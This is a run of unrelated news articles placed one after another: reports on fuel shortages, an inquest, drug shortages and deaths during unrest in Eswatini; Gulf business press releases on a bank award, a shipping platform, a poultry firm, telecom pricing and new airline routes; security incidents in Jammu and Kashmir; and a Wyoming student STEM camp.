The deficiency in the supply of fuel was said to be exacerbated by the current looting and vandalism in South Africa as most suppliers had taken a precautionary measure by temporarily suspending operations. This follows that fuel  petroleum in particular  is easily combusted and since the unrest started in the KwaZulu- Natal Province and spread to other provinces in South Africa, horse and trailer trucks have not been spared from being torched. This political dilemma in the neighbouring republic had trickle effects into the country  which is on its own recovering from political unrest - that resulted in the Royal Eswatini Police Service (REPS) providing security to haulage trucks in fear of them being set alight by pro-democracy protesters. Also, motorists yesterday felt the pinch of the fuel shortage in the country as some filling stations ran out of fuel.

During a visit to some filling stations between 8am and 9am, danger tapes were placed at the entrance as a sign that there was no fuel. One of the filling stations which ran out of fuel at the time was the Galp Filling Station in the Mbabane Central Business District (CBD). At the Engen Filling Station, which is adjacent to Galp, only diesel and paraffin were available. The station supervisor, Raphael Kunene, confirmed that only diesel and paraffin were available and he was not sure about the next delivery as they sourced fuel from Durban. I am not sure of the next delivery because we are affected by the ongoing protests in Durban, he said.

In Ezulwini, there was no driveway as motorists blocked both lanes. The queues were still visible even in the afternoon. At Puma Filling Station in Mbabane, there were stationary cars waiting to fuel. At the time there was no fuel. Wandile Khumalo, the stations supervisor, said they last fuelled cars last Sunday. Khumalo stated that trucks were on their way to the filling station. However, he said he was not sure of the time. We have tried to explain the situation to the motorists but they decided to wait until the arrival of the fuel. Some decided to leave their cars at the filling station pending the arrival of the fuel. They told us that they saw a post on social media that fuel would be delivered at around 10am, Khumalo said.


NHLAMBENI  The road, at the point where the car which was driven by the late Thabani Nkomonye veered off, is straight.

This argument was raised by the Nkomonye familys legal team during the inspection-in-loco of the accident scene. Lawyers who were present yesterday included Advocate Mduduzi Tsotsi Mabila, Gigi Reid and Mangaliso Nkomondze. Upon arrival at the accident scene at Nhlambeni, along the Mhlaleni/Nhlangano Public Road, Advocate Mabila asked that they should begin by verifying if the road around the scene was curvy or not. He said, according to his observation, part of the road had a gentle curve, but at the point where Nkomonyes car veered off, it was straight.

Coroner

The Coroner, Senior Magistrate Nonhlanhla Dlamini, asked the Prosecutor, Fikile Dlamini, if she agreed with what the advocate was saying regarding the state of the road. In response, the prosecutor said she differed. She submitted that, according to her observation, the road was curvy. However, after making some demonstrations to substantiate his argument that at the point where the car veered off, the road was straight, the parties eventually reached an agreement that indeed it was not curvy. Thereafter, as they were analysing the state of the road, Advocate Mabila wondered if the accident was as a result of Nkomonyes failure to negotiate the corner or it was something else. He mentioned that, according to his analysis, if the deceased failed to negotiate the corner, which bends towards the left, the car should have veered off towards the right side, not the left side where it ended up landing.

If the deceased failed to negotiate the corner, it means that how the accident happened was directly the opposite of what was supposed to take place, Mabila added. He also used an example by a scene which was opposite that of the accident scene whereby he mentioned that the vehicle, which plunged into a ditch that was on the right side of the road towards Nhlangano, might have failed to negotiate the corner and that was why it landed on that side of the road. However, it was mentioned that such arguments would be raised to the police officer who attended to the accident. The witness, who gave evidence yesterday at the accident scene, was the third witness, Constable Detective Sanele Malindzisa, who is under the Scenes of Crime Department in Manzini. He was describing the accident scene as it was on May 13, 2021, when Nkomonyes body was discovered.

Missing

Nkomonye is the 25-year-old law student, who went missing on the night of Saturday May 8, 2021, after his car, a Mazda II Demio, was said to have been involved in a traffic accident at Nhlambeni.
SITEKI  Lubombo Referral Hospital has run out of Morphine and Norepinephrine, which are essential drugs in the treatment programme of patients recovering from COVID-19.

According to a senior nurse at the referral hospital, there are four patients in the intensive care unit (ICU) out of the 32 who are currently admitted. Morphine is a strong painkiller. It is used to treat severe pain, for example after an operation or a serious injury, or pain from cancer or heart attack. On the other hand, Norepinephrine, also called Noradrenaline, increases blood sugar levels, increases heart rate and increases contractility. These two drugs are important and essential to be administered to patients recuperating from COVID-19. However, the good news is that the World Health Organisation (WHO)has promised to assist the country with the drugs which are not in stock in health facilities, the healthcare worker said.

Curfew

The healthcare worker said they had also raised concerns to management regarding the 6pm to 5am curfew as it exposed them to being assaulted by soldiers when they knocked off from, or on their way to work. The senior nurse mentioned that there were incidences where people were allegedly assaulted by soldiers on the streets and after 6pm. Sometimes we knock off and have to walk to our destinations due to the introduced rationing of fuel by government. We are prone to being assaulted because members of the army do not consider any explanation given to them. We believe government has to take action in our case so that we are safe from such occurrences, alleged the senior nurse. Mayibongwe Masangane, Secretary General of the Swaziland Democratic Nurses Union (SWADNU), said the continued shortage of crucial drugs like the Norepinephrine and Morphine had been aggravated by governments failure to pay outstanding debts to suppliers. Masangane indicated that the country was not ready to deal with the third wave of the coronavirus and that government should deal with the drug shortage issue. He said almost all clinics and hospitals were experiencing the same problem of drug shortage.

Predicament

We are aware of this predicament and government has been promising to remedy the situation for a long time. We just got informed that even ARVs, are running out of stock in most health facilities. It is a serious issue that needs government to act swiftly because we fear the worst, he said. Director of Health Services Dr Vusi Magagula, when quizzed on the number of patients admitted to other facilities, he said he was yet to get a report. I am aware that the last report showed that 22 patients were admitted to The Luke Commission with 11 in ICU, but the numbers might have changed. I have to check to give the exact figures as others are admitted in our different health facilities and some recuperating in isolation being monitored by healthcare workers, he said. He further assured the hospital that the ministry had addressed the issue of the curfew with the security forces to ensure that they were not subjected to harassment and assault.
MBABANE  We want him home.

These words were uttered by a family in Matsapha, Mbikwakhe, which needs assistance in locating their loved ones corpse. The family is looking for one of their own, Sipho Magolide Maziya. Maziya was allegedly shot by police on June 29, 2021 during the mayhem that happened in Matsapha, in particular at Eswatini Beverages. According to a family member, Maziya was involved in the unrest that resulted in the looting, vandalism and burning of some properties, including part of Eswatini Beverages.

Police and soldiers were deployed to restore law and order and in the skirmish, some people were allegedly shot and others were allegedly injured by the protestors.

Friend

After he was allegedly shot, his body was not found at the scene where a friend had confirmed he was shot at. We received a phone call from one of his friends who was with him on the day of the incident and he told us that he had been shot. He also told us that he, unfortunately, seemed to have died on the spot, said the family member. With the unrest and looting that was ongoing at the time, the family could not immediately go to the scene where the shooting was said to have taken place. When we received the news, it was already after midnight and it was chaos all over and we could not go out at that time, said the family member. The family, however, went the following day to the scene with the hopes of finding his body but they did not. We only found and recognised his shoes and the hoodie jacket he had left home wearing. There was only a lot of dried blood but the body was not there, said a family member. In addition to the sentiments shared by the family, a friend to the deceased said they were deeply bothered by the missing corpse. We have been posting his picture on social media, passing our condolences to the family yet we have not seen the body, said the friend. The friend said all they wanted at this point was for the body to be located so that he could be laid to rest.

Government

The issue of the missing corpse comes after government announced and acknowledged that 27 people had lost their lives during the unrest in the country, which culminated in looting, vandalism and burning of property. This publication has so far identified 26 people whose deaths were confirmed largely by their families and they are alleged to have been shot by members of the security forces. Meanwhile, Chief Police Information and Communications Officer Superintendent Phindile Vilakati said: A list of the people we lost during the unrest was kept and it will be rightfully released.
MBABANE  The public is still mourning the death of people allegedly killed by armed forces at the height of the unrest that resulted in the looting, vandalism and burning of some businesses.

This is according to the Co-ordinating Assembly of Non-Governmental Organisations (CANGO). Executive Director of CANGO Emmanuel Ndlangamandla said they were still anticipating dialogue following the recent political upheaval in the country, which resulted in business establishments being looted, vandalised and burnt. During the political protests, it was alleged over 60 people were killed; however, government first denied that there were deaths and later confirmed 27 deaths. Ndlangamandla said they were still in pain and mourning as many people lost loved ones and family members. He wondered who would attend Sibaya as many people were still in mourning.

Tragedy

The (alleged) killing of people was a tragedy and it needs to be acknowledged as that first, for the healing process to begin, he said. Another concern that was raised by Ndlangamandla was that in Eswatini, the law did not treat people equally. He said a case in point was the manner in which COVID -19 regulations were being implemented. He said this was very concerning as people were being reprimanded for not adhering to COVID-19 regulations; but when Sibaya was called, the restriction on the numbers of people who could gather was not limited despite that the country was in the midst of a third wave which was deadlier. This means that the current curfew is not meant to serve what we are being told it is for. How can the economy be grinded to a halt at 3pm while a superspreader event is called? he said. It is worth noting that in the announcement calling for Sibaya, it was said the Ministry of Health would test people before being granted access to partake in the cattle byre.

Excused

It was announced that those who would test positive for the virus would be excused and could follow proceedings through live broadcasts on the various media platforms of the country. Ndlangamandla said as CANGO, they could not encourage or discourage people to attend Sibaya, but what was a fact was that decisions taken during the Peoples Parliament did not represent the whole population as the numbers were skewed. He said decisions taken during Sibaya sittings had not been of the majority in the past as the set-up of the event was one-way and it was bound not to assist with the pain people had following recent developments in the political landscape. This situation does not warrant Sibaya, but it needs all sectors to be in a neutral setting and express their opinions about their affairs, he said. According to the United Nations Fund for Population Activities (UNFPA), Eswatini has a population of about 1.1 million, with 36.6 per cent under the age of 15 while the age group of 15-24 years constituted of 19.31 per cent. The population data also reflects that the age group of 25-54 years constituted 38.22 per cent while 4.28 per cent was people aged between 55-64.
MBABANE  The Kings call to Sibaya has been met with mixed reactions from members of the public.

While others said they were happy that the King may finally address the nation following the pro-democracy protests which culminated in violence, looting and destruction of property, others said they believed that it was too soon to call the nation, particularly due to the COVID-19 pandemic third wave. The King made the call for Sibaya through Indvuna Themba Ginindza in a press conference held at Ludzidzini Royal Residence yesterday. The King said all emaSwati should be seated inside the cattle byre by 10am. The King said the Sibaya proceedings would be broadcast live so that those who could not make it to the venue could follow from the comfort of their homesteads through all media channels. The Monarch emphasised that those who would be following the proceedings through the media channels should listen attentively to what would be said.

Assured

The King assured the nation that all those who would participate would be tested for COVID-19 before entering the cattle byre. He said health practitioners would start work at 7am to ensure that all people were tested for the virus. He mentioned that tags would be provided to make sure that only those who tested entered the cattle byre. He encouraged the nation to take the necessary precautions should they test positive for the virus. However, the call evoked various reactions from different quarters.

The agenda was not readily available, which left people wondering whether the King would address the nation or if the floor would be open for emaSwati to express their views as it happened during the last Sibaya in 2018, before the announcement of the late Ambrose Mandvulo Dlamini as Prime Minister.

Speculated

Others speculated that perhaps a new PM would be unveiled as the position was currently occupied by Themba Masuku, albeit on an acting basis. According to Section 232 of the Constitution, Sibaya is the Swazi National Council, which states that the people, through Sibaya, constitute the highest policy and advisory council (libandla) of the nation. Section 232 (2) states that the Sibaya is the Swazi National Council constituted by bantfwabenkhosi, tikhulu of the real and all adult citizens gathered at the official residence of the Queen Mother under the chairmanship of iNgwenyama who may delegate the function to any official. Sibaya functions as the annual general meeting of the nation, but maybe convened at any time to present the views of the nation on pressing and controversial national issues, reads Subsection (3).
The National Bank of Bahrain (NBB) has celebrated a significant achievement in its ongoing sustainability journey after being awarded The Middle Easts Best Bank for Corporate Responsibility by the Euromoney Awards for Excellence 2021  the global financial sectors most esteemed accolades across the region and the world.

NBBs nomination came as a result of the significant strides made by the bank to integrate ESG principles into its framework, the positive initiatives delivered over the past year, as well as its continued market leadership and ongoing efforts to operate sustainably.

The bank was evaluated based on a set of criteria that measured NBBs efforts throughout the year, assessing merits that fell under specific categories, including, contributions towards the community and individuals during Covid-19, Heritage Preservation, Enhancing the Entrepreneurship Ecosystem, Diversity and Inclusion, Talent &Training, and Corporate Responsibility as part of ESG.

NBB has set many firsts in its quest for sustainability excellence as it strives to conduct business in a responsible manner, ensuring that its approach to sustainability is aligned to the UN SDGs, the Bahrain Bourse voluntary ESG Guideline, and Bahrains Economic Vision 2030. The banks sustainability framework contains seven pillars: economic growth, responsible banking; serving customers; nurturing the workforce; community investment; preserving natural resources; and governance and ethical behaviour.

Commenting on the auspicious award, NBB Chairman Farouk Yousuf Khalil Almoayyed stated: It gives us great pleasure to receive this honour from Euromoney, recognising NBBs efforts as a leader in the field of sustainability. We are very proud of this accomplishment which stands testament to the efforts exerted by the Bank to transform NBB into an institution focused towards the future and a responsible, and conscientious entity that operates with a sustainable framework for generations to come. Today, NBB is reaping the rewards of its strategic shift as an ESG-driven, digitally capable, responsible and transparent banking institution with a unique value proposition for everyone it serves. I would like to express my sincere appreciation to the Banks Board and management for their invaluable support and guidance, acting as role models and allowing the Bank to excel, and above all, to our customers for their unwavering loyalty and the people of NBB whose efforts have paved the way for the Banks numerous milestones including this regional accolade.

Since 2019, NBB has been steadily introducing initiatives in line with its established ESG strategy and implementation roadmap, and has been paving the way to a complete integration of ESG guiding principles into its operations. With corporate responsibility as the driver of its strategy, the bank focused on strengthening its departments to maintain business sustainability and are well-positioned as a market benchmark in terms of compliance with regulations, corporate governance and risk management, by placing a foundation for the involved committees to further drive its future ESG plans.

Further commenting on the Euromoney awards, Jean-Christophe Durand, Chief Executive Officer of NBB, stated: It is an honour for us at NBB to receive such recognition at a local and regional level. This award underlines the significant progress we have made in executing and bringing to life our responsible banking strategy, in line with our role as a national leader and avid contributor to the Kingdoms long-term socio-economic wellbeing. The accolade underscores our achievements to-date and further pushes us to operate as part of Team Bahrain, adding value to society, and delivering on our brand promise to Enrich the Lives of Generations for years to come through our commitment to a more sustainable, transparent method of operation in the Kingdom and the region. I would like to thank our teams, board members, and particularly our customers for their vital role in making NBB who we are today, and for continuously supporting us on our growth path as we continue to make further progress.

The bank had previously been awarded with The Middle Easts Best Bank Transformation Award by Euromoney in 2020, as well as having received Bahrains Best Bank honour for the second consecutive year in 2020.

Remarking on NBB winning The Middle Easts Best Bank for Corporate Responsibility this year in the ESG category, Elliot Wilson, Editor at Euromoney, said: Corporate responsibility is at the heart of what the National Bank of Bahrain does. It can actually be hard to find worthy projects, causes and charities that the Manama-based lender is not involved in funding and furthering.

NBB has championed numerous environmental, social and governance initiatives as part of its Donations and Contributions Pillar over the years. The Bank has contributed significantly to the Kingdoms socio-economic wellbeing at the onset of the Covid-19 pandemic, providing relief measures to numerous national campaigns to combat the Coronavirus such as Feena Khair, and donated to the Migrants Protection Society, among other initiatives to support the economy and the community in which it operates. NBBs donations and contributions during the peak of the Coronavirus were estimated to have reached over BD3 million in the short span of six months.

In 2020, as the bank continued to focus on bolstering its training and development strategy, it was recognised in a case study conducted by Forbes, commending the Banks dedication to developing its human capital, and showcasing its ongoing efforts as best practice. The study showcased NBBs continuous investment in its workforce, pointing out that the bank continued prioritising the development of its people despite the initial setbacks brought on by the coronavirus pandemic, and highlighted the provision of digital alternatives such as e-learning and virtual training, all driven and supported by the HR department and the entire executive team.

NBB was also formally recognised later in the same year by the Association of Chartered Certified Accountants (ACCA), as an Approved Employer, in acknowledgement of the banks efforts and commitment to providing learning and development opportunities which strengthen the accountancy skills of current and future employees. NBB is proudly the first Bank within the Kingdom to achieve the distinction, reiterating its promise of aiming to become a local Employer of Choice.

In November 2020, NBB ranked first in ESG compliance within the banking sector in Bahrain, and second on all sectors within the Kingdom, according to an annual ratings list published by ESG Invest. The ranking was a testament to NBBs continuous efforts to enhance their ESG operational capacity during the year, working to create a more sustainable and responsible mode of banking, and bolstering its efforts towards becoming a regionally recognised sustainable banking and financial entity for generations to come.

The bank also worked to reduce its overall carbon footprint, resulting in NBB being the only constituent representing the Kingdom of Bahrain on the Refinitiv Arab Federation of Exchanges (AFE) Low Carbon Select Index, with NBB holding 0.89% of the total index weight. The national bank has also participated in international initiatives such as Earth Hour and Earth Day by encouraging and educating employees and the general public on how they can play an effective role in making a difference in the environment.

In another step to holistically integrate sustainability and the corresponding ESG pillars into its framework, the national bank produced its First Annual Financial and Sustainability Report for the year 2020. NBBs Annual Financial and Sustainability Report highlights the banks goal to embed sustainability in the core of its business operations, taking fundamental reporting principles such as accuracy, completeness, and balance into account. The report covers some of the more apparent sustainability activities and performance data, based on recognisable ESG pillars of operation, to promote transparency and strengthen the banks position as a leading sustainable entity via ESG reporting.

For 2021, NBB aims to further develop ESG training programmes, build internal capabilities in high growth and high impact sectors, and promote ESG assessment within the banks financing and investing operations, the bank said. - TradeArabia News Service
Greek startup Harbor Lab has welcomed its 300th vessel to its online disbursements platform. The achievement was realised 15 months after the software company launched its disbursements accounting (DA) processing solution for the shipping industry, which gives vessels operators access to agents and vendors at ports across the globe reducing back office administration by 75%.

Launched in Athens, Greece, in March 2020, the Harbor Lab cloud-based DA tool was used to process more than 4000 port calls in its first year of operation, a statement said.

The disbursements platform provides transparency to the vessels operator on port expenses that will be incurred during her stay at port, DA calculations and instant port cost estimations.

A combination of data scientists and experienced maritime professionals, the companys port analysts, investigate and extract the methods that calculate all port expenses for all ports around the world, based on the official port tariffs for all vessels types.

Harbor Lab has digitalized all retrieved port-related data (e.g. official calculation methods) via dynamic programming techniques and construction of sophisticated formulas. Data validity is achieved through day-to-day communication with agencies around the globe.

Through the platform, end-users get a transparent overview of port costs, including port fees (loading/ discharging, pilotage), bunker prices, spare parts and other sundries.

Harbor Labs CEO and Founder Antonis Malaxianakis said: We are delighted to welcome our 300th vessel to our disbursements platform. When we launched Harbor Lab last year we set ourselves a target to celebrate our 20th vessel in December. In June we surpassed our target by 1000%. Its great to know that so many vessel operators are already benefiting from our platform, reducing their back office administration and in control of their port costs through our cost comparison dashboard.

Vessel operators, management companies and charterers pay a fixed fee per port call to access the system. Vendors and agents can register on the platform free of charge, with the option to upgrade to a premium subscription plan in a future release.

Around 1200 agents and vendors are currently registered and the operator can send multiple requests and appointments to an unlimited number of agents. Their rates are imported directly into the system, for evaluation by the operator. Harbor Lab also provides training and demonstrations free of charge to interested parties.

Harbor Lab customer Product Shipping & Trading S.A.s Managing Director, Th. Belexis said: Harbor Lab is a valuable tool which allows users to manage and process DAs in a fast and efficient way. The platform is well-designed and easy to use. It transforms complex daily procedures to a simple and accurate operation."

Further, Efi Sioziou, Commercial Operator, Swiss Chem Gas, said: "The Harbor Lab platform offers a unique architecture that gives our company full and easy control on all DAs of our fleet. Designed to facilitate the operation, accounting and management department of a shipping company to automatically check disbursement accounts. Handles multiple collective and individual data with accurate entries."

Harbor Labs CEO, Malaxianakis added: Having worked in disbursement accounting for seven years, I am familiar with the time and cost inefficiencies of conventional office-based methods. I created this platform to provide a central hub for all disbursement activities, to optimise workflows and to bring cost transparency to operators whilst their vessels are in port.

The DA tool is one of three cloud-based solutions currently available from Harbor Lab. It also offers a position list to track vessels location and monitor weather enroute to destination, and a cost estimator to get approximate port expenses within seconds.

Harbor Labs software integrates with most ERP (enterprise resource planning) systems found in accounting practices, allowing full automation of data exchange between the platform and the clients ERPs.TradeArabia News Service
Dhofar Poultry Company (DPC), one of the fastest growing brand in the fresh and frozen chicken segment in Oman, is celebrating 25 years of successfully operations.

With so many commendable years of experience, DPC ensures it constantly innovates to suit the varying demands of a dynamic consumer market while maintaining the same level of quality, taste and hygiene standards its customers are already familiar with, DPC said in a statement.

Over the years, DPC has evolved from a farm built out of seven houses that first introduced the concept of sale of fresh chicken in the Dhofar region to an operation that includes 48 modernized EC Poultry houses, a state-of-the-art hatchery, the latest processing machinery and equipment, and a nation-wide supply chain network. The products grew to be so loved by consumers that DPC was able to extend its sales and distribution to not just every corner of the Sultanate, but even export to other GCC countries. The company now plans to enter into newer markets, with an enhanced and diversified portfolio of products.

Despite stiff competition and a number of newer brands in the market, DPC said it has remained the preferred choice amongst consumers due to its distinct freshness and taste. This is achieved by timely delivery through well-organized cold chains. Currently, DPC claims a significant 25% market share in the overall fresh and frozen chicken market in Oman.

We understand the dynamism of the market and we take all the necessary initiatives to incorporate the latest technological innovations to ensure our products are at par with international standards, said Salim bin Taman al Maashani, CEO, DPC. While we are confident that our customer base will keep growing with every year, our goal for the year ahead is to add new products to our existing product portfolio and expand into newer markets.

With the growing demand for superior quality, 100% Halal and naturally-fed chicken in markets such as the UAE, Bahrain and Qatar, DPC has customized their products and packages to suit these demands. The products are sold at leading hypermarkets like Lulu in UAE and Mega Mart in Qatar.

With significant investments in the poultry farming segment, Oman is set to establish itself as a key player in the region, while also reinforcing the nations food security objectives and sustaining the requirements of its burgeoning poultry industry. Revered as one of the oldest and the most trusted brand when it comes to fresh and frozen chicken, DPC has been committed to the Sultanates long-term objectives in achieving high self-sufficiency and enhanced food security. To meet the rising demand, DPC aims at increasing its production during 2021-2022.

In 2019, the Ministry of Agriculture, Fisheries and Water Resources said that the Sultanate had achieved 51% self-sufficiency in the production of poultry meat when the local production in the Sultanate reached about 111,000 tonnes. To achieve lesser dependency on imports, increase the value of exports, and reduce the food gap, DPC will ensure to support with Oman Vision 2040 to increase self-sufficiency in the sector.

Commenting on the companys future plans, Al Maashani said: DPC takes great pride in stating that it is a 100 per cent Omani brand with a strong focus on contributing to the economy.

Poultry farming is considered a vital economic activity that contributes towards achieving food security in the Sultanate through the development of the poultry sector and encouraging investments in the segment. According to the company, DPC has been recognized as one of the key companies in its sector that have remained steadfast in its commitment to align itself with the Vision 2040. Its growing figures and expanding market share over two decades have proved its success while its forecasts for the years ahead are a reflection of the companys unfaltering ambition to be a key contributor in the sector, it added.TradeArabia News Service
Bahrain has escalated up the regulatory ladder to the highest generation of ICT regulation, fostering affordability in ICT services, according to a new report issued by the International Telecommunication Union (ITU).



According to ITUs 2020 ICT Pricing Trends Report of Measuring Digital Development, Bahrain has elevated from Third to Fourth generation. The report verifies the variety of influences impacting the pricing levels for ICT services in a region; however, one governing influence on overall affordability is the resilience of a regulatory environment.



As found by the ITU study, Bahrain amongst Arab countries, is ranked 2nd for pricings in regard to mobile broadband services, as it maintains affordable fixed broadband rates yet a large - scale data capacity.



In addition, Bahrains mobile broadband prices account for 1.51% of gross national income per capita (GNI p.c.), whereas fixed broadband prices account for 1.82% of GNI p.c, which is below the UN affordability target, therefore allowing Bahrain to meet and outperform the Sustainable Development Goal target before 2025, holding prices below two percent of GNI per capita.



Sheikh Nasser Bin Mohammed Al Khalifa, Acting General Director of the Telecommunications Regulatory Authority (TRA) of Bahrain has congratulated and tributed the Kingdoms evolution in regulatory framework to HM King Hamad Bin Isa Al Khalifa, and to HRH Prince Salman bin Hamad bin Isa Al Khalifa, Crown Prince and Prime Minister.



According to Sheikh Nasser, this achievement validates the Kingdoms advancements in both the field of telecoms, and excellence of enabling environment of digital transformation, valuing the wise leadership's guidance in expanding Bahrain and shaping it into a regional telecom and ICT hub, seeking to continue efforts to develop the telecommunications sector in the Kingdom of Bahrain.



The regulatory environment's resilience is a significant facilitator of both ICT adoption and price reduction. Regulators in this sector play a significant role in safeguarding consumers benefits through regulating competitiveness between operators, said Sheikh Nasser.



Regulators also impact market structure and competitiveness through awarding licenses, allocating and designating spectrum, facilitating interoperability and infrastructure exchange, and regulating investment, among other things. A country ascends the regulatory ladder to a higher generation of ICT regulation as its regulatory environment matures.



The pandemic of Covid-19 has demonstrated the critical necessity of connectivity. This position will only expand in the following years as the globe continues to cope with impacts of the pandemic and embraces the new reality. However, continued monitoring of the growth of ICT pricing is crucial for quality management to tackle affordability gaps, he added.  TradeArabia News Service
flydubai, the Dubai-based airline, said it will operate a three-times weekly service to Sohag International Airport (HMB) from 25 July growing its network in Egypt to three points including Alexandria and Sharm El Sheikh.



The flights to and from Sohag will operate via a short stop in Sharm El Sheikh. This will bring the number of points flydubai operates to in Egypt to three including Alexandria Borg El Arab International Airport (HBE) and Sharm El Sheikh International Airport (SSH).



Hamad Obaidalla, Chief Commercial Officer at flydubai, said: Egypt is a very important market for flydubai and has a very special place in our journey. Alexandria was among the first routes we operated to in 2009. We are very pleased to see our presence in Egypt grow and we would like to thank the authorities for their ongoing support. flydubai is committed to supporting the tourism and trade links between our two countries. We look forward to the start of operations to Sohag which is going to be very popular among our passengers from the UAE and the region.



Sohag is one the important governorates of Upper Egypt with a capital city that holds the same name. The city and the government of Sohag have a long history in ancient Egypt and are home to a number of monuments, monasteries and museums.



Commenting on the announcement, Sudhir Sreedharan, Senior Vice President of Commercial Operations (UAE, GCC, Africa and the Indian Subcontinent) at flydubai, said: With demand for travel returning we are focused on enabling our passengers to travel with ease to more places around the flydubai network. Sohag is another exciting destination for our passengers to visit whether to go back home to see friends and family or to explore the many historic attractions in the city.



With the launch of operations to Ankara in Turkey, Budapest in Hungary, Ljubljana in Slovenia, Salzburg in Austria, Tirana in Albania and Warsaw in Poland flydubai has grown its network to more than 95 destinations. This growth was also supported by the launch of the carriers summer routes to Bodrum and Trabzon in Turkey, Batumi in Georgia, Mykonos and Santorini in Greece as well as Tivat in Montenegro.



Flight details



Flights from Terminal 2, Dubai International (DXB) to Sohag International Airport (HMB) will operate on Tuesdays, Thursdays and Sundays from July 25. Flights to and from HMB will operate via a short stop in Sharm El Sheikh International Airport (SSH).



Return Business Class fares from DXB to HMB start from AED2,900 ($789) and return Economy Class fares start from AED1,500.  TradeArabia News Service
The Armenian National Interests Fund (ANIF) and Air Arabia, the Middle East and North Africas first and largest low-cost carrier (LCC) operator, today announced the signing of an agreement to launch Armenias new national airline.

The agreement will see the establishment of an independent joint venture company that will operate as a low-cost passenger airline with Yerevans Zvartnots International Airport (EVN) as its base.

The announcement was made following a signing ceremony and a press conference held today at Yerevans Zvartnots International Airport and attended by Tigran Avinyan, Deputy Prime Minister of Armenia and Sheikh Abdullah Bin Mohammed Al Thani, Chairman of Air Arabia.

The new national airline will serve the strategic vision of Armenias fast-growing travel and tourism sector as well as contributes to the countrys economic growth, while providing Armenians with a reliable and value for money air travel.

David Papazian, Chief Executive Officer of ANIF, said: We are excited to launch a new national low-cost carrier for Armenia that will contribute significant value to the economy and energise our travel and tourism sector. This builds on our commitment to partner with top global entities on transformational projects that catalyse our crucial economic sectors. Air Arabia has a well-established track-record in launching and operating successful LCCs, and its knowhow will be a differentiating strength of the new airline.

Adel Al Ali, Group Chief Executive Officer of Air Arabia, said: We are delighted at Air Arabia Group to partner with ANIF on this joint venture to launch Armenias new national low-cost carrier. We see tremendous potential for Armenia in building its airline sector, which will add sustained value to the economy through job creation and the development of travel and tourism sector. We thank ANIF and the Civil Aviation Committee for their trust and we look forward to working hand in hand to develop the new airline, which will serve as a value-for-money air travel option for Armenians and visitors to the country.

Tatevik Revazian, Chair of the Civil Aviation Committee of Armenia, said: Our vision for Armenia is to significantly improve air connectivity and as a result bring economic growth and jobs to the country. Having a strong national low-cost airline is essential for the development of Armenias air transport sector, especially as a tool to recover faster from the Covid-19 crisis. This partnership between ANIF and Air Arabia Group to launch a new airline reflects this vision. We are confident that the expertise Air Arabia brings to the JV will support the seamless launch and growth of the carrier. We look forward to the success of Armenias new national airline.

The name of the airline will be decided by the people of Armenia through an open competition that starts today and lasts for four weeks, whereby Armenians wishing to participate can send their name suggestions to [email protected] The last day for participating is August 14 after which the companys board of directors will go through received suggestions and select the final name, said a statement.

Based in Yerevan, the new company will adopt the low-cost business model operated by Air Arabia. Work on securing the Air Operating Certificate (AOC) - which allows the airline to start operating- will commence shortly. More details about the launch date, fleet, and destination network will be announced in due course.

Over the course of the past decade, Armenia has recorded some impressive gains as its tourism industry begins to recognize its full potential. The Armenian travel and tourism sector contributed to nearly 11.8 percent of the countrys GDP in 2019 and accounted for 12.5 per cent of the total employment. -TradeArabia News Service
Jammu, Jul 14 (UNI) Alert troops of the Border Security Force (BSF) shot at a drone in Arnia Sector along the International Border (IB) in Jammu district and pushed it back to the Pakistani territory.

A senior BSF official here on Wednesday said: "A blinking red light was observed by the troops in the Arnia sector at 0952 hours on Tuesday night at the height of 200 meters on the Indian side."

He said that alert troops fired from their position towards blinking light, due to which, it returned.

"Area is being searched but nothing has been found so far," he added.

On Sunday, Jammu Police had arrested one terrorist who used to monitor movement of drones and transport the consignment of weapons, narcotics to the Kashmir valley.

The activities of drones have increased in Jammu district following the suspected drone attack on the Indian Air Force (IAF) station in Jammu last month.

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Srinagar, Jul 14 (UNI) Three Lashker-e-Toiba (LeT) militants, including a Pakistani commander, were killed by security forces in an encounter in south Kashmir district of Pulwama on Wednesday, police said.

A Police Spokesperson said that one of the slain terrorists was identified as LeT Commander Aijaz alias Abu Huraira, a resident of Pakistan, while two other militants were locals.

Inspector-General of Police (IGP) Vijay Kumar congratulated the security forces for neutralizing the militants.

Acting on a specific information about the presence of militants, the Rashtriya Rifles (RR), Special Operation Group (SOG) of Jammu and Kashmir police and the Central Reserve Police Force (CRPF) launched a joint Cordon and Search Operation (CASO) at New Colony main town Pulwama late Tuesday night.

A Police Spokesperson said that when the security forces were moving towards targeted area in the town, militants fired on the forces, who retaliated leading to an encounter.

He said residents in the nearby houses were immediately shifted to safer places and militants were asked to surrender.

Later, additional security forces were deployed to foil any attempt by militants to escape.

With the first light, this morning security forces again tried to move towards the area. Militants again fired on the forces, he said, adding that the security forces retaliated in which two unidentified militants were killed. Later, one more was killed, he said.

Meanwhile, security forces have also been deployed in the adjoining areas to maintain law and order.

Authorities suspended mobile internet service of all Cellular companies, including Bharat Sanchar Nigam Limited (BSNL) as a precautionary measure to prevent rumours.

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Students Study What Makes Planets Habitable at UWs Teton STEM Academy

High school students from Wyoming and Colorado participate in the Teton STEM Academy during an activity on UWs campus July 12. Chelsea Lund, left, a teacher at Black Butte High School in Rock Springs, led a Mars Base Design lab in which students used radiometers to determine whether planets near stars could be classified as habitable zones. (UW Photo)

Twenty-five high school students from across Wyoming and one from Colorado worked in teams to determine whether planets near different-colored stars could actually be habitable. To help make that determination, the students participated in an experiment using radiometers, which measure light, to record the outer and inner limits of habitability around different types of stars.

The activity was part of the Teton STEM Academy taking place through July 18 on the University of Wyoming campus. The nine-day event offers hands-on activities in the interdisciplinary sciences, including life sciences, physical sciences, engineering and math, all covered under a general theme of planning a journey to Mars.

Science has always been an interest of mine. I like to find out how things work, says Brett Pettibone, a student at Lander Valley High School. Astronomy has always been my favorite of the sciences.

Mackenzie Jones, who will be a junior at Lyman High School this fall, has been part of a STEM (science, technology, engineering and mathematics) club since she was in sixth grade. When she learned of the Teton STEM Academy, she saw it as a great opportunity. Jones says she has already learned something interesting.

I learned that Mars has blue sunsets and sunrises, she says. At midsunrise on Mars, if Earth is lined up just right, you can see Earth from Mars.

We want these kids to see scientists as people who solve important problems, says Chip Kobulnicky, a professor in the UW Department of Physics and Astronomy, and co-director of the Teton STEM Academy. Weve relied on scientists to solve COVID problems or climate disasters.

Chelsea Lund, a teacher at Black Butte High School in Rock Springs, led a Mars Base Design lab July 12 in UWs Enzi STEM Facility. During the exercise, the students used radiometers to measure light from stars to determine whether planets near the stars could be classified as habitable zones.

